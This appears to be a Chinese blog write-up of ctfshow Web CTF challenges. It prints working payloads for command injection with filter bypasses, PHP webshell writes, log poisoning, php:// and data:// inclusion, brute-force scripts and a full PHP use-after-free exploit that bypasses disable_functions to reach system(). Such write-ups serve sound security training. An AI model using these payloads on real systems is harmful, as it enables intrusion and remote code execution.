ctfshow Web CTF 挑战实战解题记录

本文记录了ctfshow Web系列挑战赛的解题过程,涵盖信息收集、爆破和命令执行等多种Web安全渗透技术,为CTF爱好者提供实战参考。

信息收集

web1,2,3直接抓包查看即可

web4先访问robots.txt根据得到的文件名再去访问

web5访问路径/index.phps得到备份文件

web6通过drmap扫描出来www.zip,或者根据提示相当压缩包(不常用)

web7使用burp访问.git直接显示flag

web8使用burp访问.svn路径直接显示flag

web9直接访问index.php.swp

web10使用burp抓包就可以看见cookie携带flag

Web11使用域名dns解析,查看txt记录

web12直接访问后台/admin,提示输入用户名(admin)密码(372619038)网站下面有

web13可以拿到后台地址以及用户名和密码

web13

Web14查看源代码,发现一个editor目录,访问/editor,发现是一个编辑器,点击附件,可以查看文件空间,找到/var/www/html目录查看,发现nothinghere目录进入发现fl000g.txt,最后直接访问/nothinghere/fl000g.txt。

web14-1

web14-2

web15使用/admin进入管理后台,点击修改密码,密保问题是哪个城市?首页最下面有个邮箱,使用qq查看对应的城市,输入后密码重置。再登陆即可

web16微软雅黑探针后缀名是tz.php,查看phpinfo,搜索flag

web17直接dirsearch能扫出来backup.sql,直接得到flag。

Web18查看js文件 找到获胜的条件 解码unicode,得到信息。

web19查看返回包的源代码,有密钥有向量网上搜索aes解密,按照加密格式解密password即可。

web20访问路径/db/db.mdb,下载的文件直接用010editor打开,直接搜索text,可以找到。

爆破

Web21爆破请求头的Authentic字段Basic后面是base64编码的用户输入数据,要爆破的数据格式是base64(username:password),使用burp自定义iter,

web20

web23直接爆破token,用te_html撞出来的

web23

web24设置随机种子随机数的顺序是一定的,知道第一个随机数就可以

web24

web25先令r=0得到第一个随机数的值,再使用php_mt_seed工具算出种子 之后得到第二个第三个随机数再计算token放在cookie里。

web26直接点击确认无误,立即安装抓包即可,发送给repeater,得到response中有flag

web27点击录取名单可以看到录取学生名单,身份证中间是由几位模糊的,点击学生学籍信息查询系统,要求输入身份证,那么可以破解下身份证,之后破解成功会有学号和密码,最后用得到学号和密码登录即可,下面是破解脚本:

import requests
import datetime

# 给定的前缀
prefix = "621022"
suffix = "5237"
# 设定日期的范围,这里选择一个合理的范围,比如从 1900-01-01 到当前日期
start_date = datetime.date(1990, 1, 1)
end_date = datetime.date.today()

# 获取所有可能的日期
current_date = start_date
possible_dates = []

while current_date <= end_date:
    # 格式化日期
    formatted_date = current_date.strftime("%Y%m%d")  # 年、月、日
    possible_dates.append(prefix + formatted_date + suffix)
    current_date += datetime.timedelta(days=1)

for date in possible_dates:
    url = "http://01db1d7a-4486-4be5-993a-64ae37c2da7f.challenge.ctf.show/info/checkdb.php"
    # print(date)
    # 请求的参数
    data = {
        'a': '高先伊',
        'p': f'{date}'
    }


    # 发送 POST 请求
    response = requests.post(url, data=data)

    # 打印响应内容
    if response.status_code == 200 and "error" not in response.text:
        print(date)
        print("Response:", response.text)
        exit(0)

运行结果:

621022199002015237
Response: {"0":"success","msg":"\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801"}

web28直接爆破目录即可,除去2.txt,且都是数字0-99

web28

命令执行

Web29可以操作的方式很多:

  1. 直接执行命令

    /?c=echo%20`cat%20fl''ag.php`;
    /?c=system('cat%20*');

  2. 嵌套

// 注意 如果嵌套system后面参数a不需要加引号
?c=system($_GET['a']);&a=cat%20flag.php

嵌套system

// 注意 如果嵌套eval,两边都需要加;哦
/?c=eval($_GET['a']);&a=system('cat%20flag.php');
/除了eval还可以有assert等哦~

嵌套eval

  1. 写木马

    ?c=system('echo -e "<?php \n \$a=\$_GET[\'a\'];\n eval(\$a);?>" > a.php');

    写木马

  2. 伪协议包含

// 在可以远程eval,但是过滤分号和小括号也就是不能嵌套的情况下可以使用
c=include$_GET[url]?>&&url=php://filter/convert.base64-encode/resource=flag.php

伪协议包含

base64解码

web30直接嵌套。

web31过滤了引号直接去掉引号就可以啦~

Web32,33,34,35,36使用伪协议读取

c=include$_GET[url]?>&&url=php://filter/convert.base64-encode/resource=flag.php

web37伪协议读取:

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
// 执行后查看源代码

也可以使用文件包含 + 命令执行去做:

  1. 查看服务器信息:

    • 随便搜一个不存在的地址,可以看到返回404以及服务器信息

      服务器信息

    • nginx日志文件通常存在于/var/log/nginx/access.log

  2. 尝试包含日志文件

    包含日志文件

    这里我们发送的参数被记录在access.log中,那么试着发送一句话木马

  3. 发送一句话木马

    发送一句话

  4. 再去包含日志文件

    包含发送的

  5. 远程命令执行

Web38在userAgent的地方设置一句话木马即可

// 执行后查看网页源代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39直接读取

data://text/plain,<?php system("cat fla?.php")?>

web40参考无参rce构造

highlight_file(next(array_reverse(scandir(current(localeconv())))));

web41详细见无数字字母绕过正则

web42用;隔开即可

?c=tac flag.php; ls

web43,44使用0a%截断

?c=mv flag.php 1.txt%0a

web45%09代替空格

?c=mv%09fla*%091.txt%09%0a

Web46,web47,48,49使用?代替

?c=mv%09fla?.???%09a.txt%09%0a

web50,51使用nl命令行输出

?c=nl<fla''g.php||

web52命令行终端$IFS代替空格

nl$IFS/fla''g||

web53

?c=ca''t${IFS}fl''ag.php

Web54

?c=/bin/?at${IFS}f???????

web55参见无数字无字符绕过:

web55

web56

Web57:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

数字构造

Web58,59,60,61,62,63,64,65:

POST 
c=show_source('flag.php');

Web66,67,68:

c=var_dump(scandir('/')); include "php://filter/convert.base64-encode/resource=/flag.txt";
或者
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');

Web69,70:

c=print(implode('--',scandir('/'))); include "php://filter/convert.base64-encode/resource=/flag.txt";

Web71:

c=print(implode('--',scandir('/'))); include "php://filter/convert.base64-encode/resource=/flag.txt";exit(0);

Web72(UAF 涉及到PWN相关的内容):

c=function ctfshow($cmd) { global $abc, $helper, $backtrace;

class Vuln {
    public $a;
    public function __destruct() { 
        global $backtrace; 
        unset($this->a);
        $backtrace = (new Exception)->getTrace();
        if(!isset($backtrace[1]['args'])) {
            $backtrace = debug_backtrace();
        }
    }
}

class Helper {
    public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
    $address = 0;
    for($j = $s-1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p+$j]);
    }
    return $address;
}

function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= sprintf("%c",($ptr & 0xff));
        $ptr >>= 8;
    }
    return $out;
}

function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = sprintf("%c",($v & 0xff));
        $v >>= 8;
    }
}

function leak($addr, $p = 0, $s = 8) {
    global $abc, $helper;
    write($abc, 0x68, $addr + $p - 0x10);
    $leak = strlen($helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
}

function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);

    $e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = leak($header, 0, 4);
        $p_flags = leak($header, 4, 4);
        $p_vaddr = leak($header, 0x10);
        $p_memsz = leak($header, 0x28);

        if($p_type == 1 && $p_flags == 6) { 

            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { 
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
            
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = leak($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
            
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak($addr, 0, 7);
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}

function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak($addr);
        $f_name = leak($f_entry, 0, 6);

        if($f_name == 0x6d6574737973) {
            return leak($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function trigger_uaf($arg) {

    $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    $vuln = new Vuln();
    $vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
}

$n_alloc = 10; 
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
    die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
    die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
    die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
    die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); 
write($abc, 0xd0 + 0x68, $zif_system); 

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush(); ?>

Web73,74

# 找到flag文件在/flagc.txt
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f)
{echo($f->__toString().' ');
}phpinfo();exit();?>
# 查看flagc.txt的内容
c=?><?php include "php://filter/convert.base64-encode/resource=/flagc.txt";exit(0);
exit(0);
?>

web75(限制了include读取目录 尝试使用mysql读取)

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f)
{echo($f->__toString().' ');
}phpinfo();exit();?>

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f)
{echo($f->__toString().' ');
}phpinfo();exit();?>

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77(使用FFI,将声明的C函数作为有效的FFI的对象的方法)

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);exit(0);

文件包含

web78

?file=php://filter/convert.base64-encode/resource=flag.php

Web79,80,81(同样的方法 只不过直接在页面看不出来 ,先用system(‘ls’),看一下flag文件是什么,之后再次查看不然会显示空白)

?file=/var/log/nginx/access.log&1=system('tac flag.php');

<?php eval($_GET[1]);?>
  
  或者
  
  data://text/plain,<?php system('id') ?>

QQ_1742691636668

web87

# 进行两次url编码
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30&1=system('ls /');

post:
# ab是我们添加的进行base64-decode的字符和题目中的phpdie相互对应
content=abPD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg==

访问1.php

1.php?1=system('ls');
?1=system('tac fl0g.php');

web88

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

PHP特性

Web89:

数组绕过

Web90:

?num=4476%24

Web91:

/m 行起始和行结束不仅会匹配字符串的开头和结尾还会匹配换行符的前后
?cmd=%0aphp

web92:

intval("123abc");   // 123
intval("   123abc"); // 123(忽略前空格)
intval("abc123");   // 0(字符串首字符不是数字)

使用十六进制

Web93:

Web94:

Web95:

Web96:

文件路径绕过技巧:

绕过方式请求形式说明
1️⃣ 相对路径?u=./flag.php"./flag.php" != "flag.php"
2️⃣ 大小写绕过?u=Flag.phpLinux 下大小写敏感,Windows 不敏感
3️⃣ 空字节绕过(视服务器 PHP 版本而定)?u=flag.php%00%00 被解释为空字节终止(PHP >= 5.3 后通常被禁)
4️⃣ 文件系统链接?u=symlink_to_flag.php如果能创建软链接绕过
5️⃣ 编码绕过?u=fl%61g.phpURL 编码绕过,前提是没有先 urldecode() 再比较
6️⃣ 双写绕过?u=flag.php/..某些版本中这样不会等于 "flag.php" 但可被解析回文件
7️⃣ 目录嵌套?u=subdir/../flag.php等价于 flag.php 但字符串不等于

Web97:

Web98:

Web99:

import requests

url = "https://dec280cc-1c84-4c65-a9a7-c7002f1997c7.challenge.ctf.show"

for i in range(1, 1000):
    print(f"Trying {i}")
    try:
        # 写入 PHP payload
        res = requests.post(f"{url}/?n={i}.php", data={
            'content': '<?php system("tac flag36d.php"); ?>'
        }, verify=False)

        # 尝试访问写入的文件
        check = requests.get(f"{url}/{i}.php", verify=False)

        if "flag" in check.text:
            print(f"[+] Flag found at /{i}:\n", check.text)
            break

    except requests.exceptions.RequestException as e:
        print(f"[-] Error at {i}: {e}")

Web100:

php语法陷阱:

= 的优先级 高于 and
  $v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
等价于
($v0 = is_numeric($v1)) and is_numeric($v2) and is_numeric($v3);

文件上传

Web151,152

写一个一句话,修改后缀为png,点击上传用bp抓包,把png后缀修改回来,直接访问upload/yjh.php即可

web153,154,155

web156,157,158

QQ_1746084499422

之后查看网页源代码

Web15

留言讨论

0 条留言

正在加载留言...